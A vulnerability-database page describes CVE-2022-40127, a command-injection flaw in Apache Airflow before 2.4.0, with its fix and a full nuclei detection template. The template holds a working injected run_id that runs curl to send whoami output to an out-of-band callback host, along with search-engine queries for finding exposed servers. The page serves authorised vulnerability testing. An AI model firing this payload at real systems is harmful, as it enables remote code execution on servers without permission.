HexBrain

Browse / CVEs / CVE-2022-40127

CVE-2022-40127· apache / airflow· CWE-94

AirFlow < 2.4.0 - Remote Code Execution

highseverity
8.8CVSS score
85.7%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

A vulnerability in Example Dags of Apache Airflow allows an attacker with UI access who can trigger DAGs, to execute arbitrary commands via manually provided run_id parameter. This issue affects Apache Airflow Apache Airflow versions prior to 2.4.0.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.

Fix

Upgrade AirFlow to version 2.4.0 or later to mitigate this vulnerability.

How to confirm it

Send: GET /login/ ; POST /login/ ; @timeout: 15s
Positive when: contains "state\": \"queued\"" AND contains in interactsh_protocol "dns" AND status 200

Run it with nuclei: nuclei -id CVE-2022-40127 -u <target>

The full check
id: CVE-2022-40127

info:
  name: AirFlow < 2.4.0 - Remote Code Execution
  author: DhiyaneshDk,ritikchaddha
  severity: high
  description: |
    A vulnerability in Example Dags of Apache Airflow allows an attacker with UI access who can trigger DAGs, to execute arbitrary commands via manually provided run_id parameter. This issue affects Apache Airflow Apache Airflow versions prior to 2.4.0.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Upgrade AirFlow to version 2.4.0 or later to mitigate this vulnerability.
  reference:
    - https://github.com/Mr-xn/CVE-2022-40127
    - https://nvd.nist.gov/vuln/detail/CVE-2022-40127
    - http://www.openwall.com/lists/oss-security/2022/11/14/2
    - https://github.com/apache/airflow/pull/25960
    - https://lists.apache.org/thread/cf132hgm6jvzvsbpsozl3plf1r4cwysy
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2022-40127
    cwe-id: CWE-94
    epss-score: 0.85653
    epss-percentile: 0.99726
    cpe: cpe:2.3:a:apache:airflow:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: apache
    product: airflow
    shodan-query:
      - title:"Sign In - Airflow"
      - http.title:"airflow - dags" || http.html:"apache airflow"
      - http.title:"sign in - airflow"
      - product:"redis"
    fofa-query:
      - title="sign in - airflow"
      - apache airflow
      - title="airflow - dags" || http.html:"apache airflow"
    google-query:
      - intitle:"sign in - airflow"
      - intitle:"airflow - dags" || http.html:"apache airflow"
  tags: cve,cve2022,airflow,rce,oast,authenticated,apache,vuln

http:
  - raw:
      - |
        GET /login/ HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /login/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}&password={{password}}&_csrf_token={{csrf_token}}
      - |
        @timeout: 15s
        POST /api/v1/dags/example_bash_operator/dagRuns HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
            "conf": {
        "dag_run": "{{randstr}}"
        },
          "dag_run_id": "id \"&& curl `whoami`.{{interactsh-url}}",
          "logical_date": "{{date_time("%Y-%M-%D")}}T{{date_time("%H:%m:%s")}}.920Z"

        }

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'state": "queued"'

      - type: word
        part: interactsh_protocol
        words:
          - dns

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: csrf_token
        group: 1
        regex:
          - 'type="hidden" value="(.*?)">'
        internal: true

References

Use this check only on systems you are authorised to test. Where the data comes from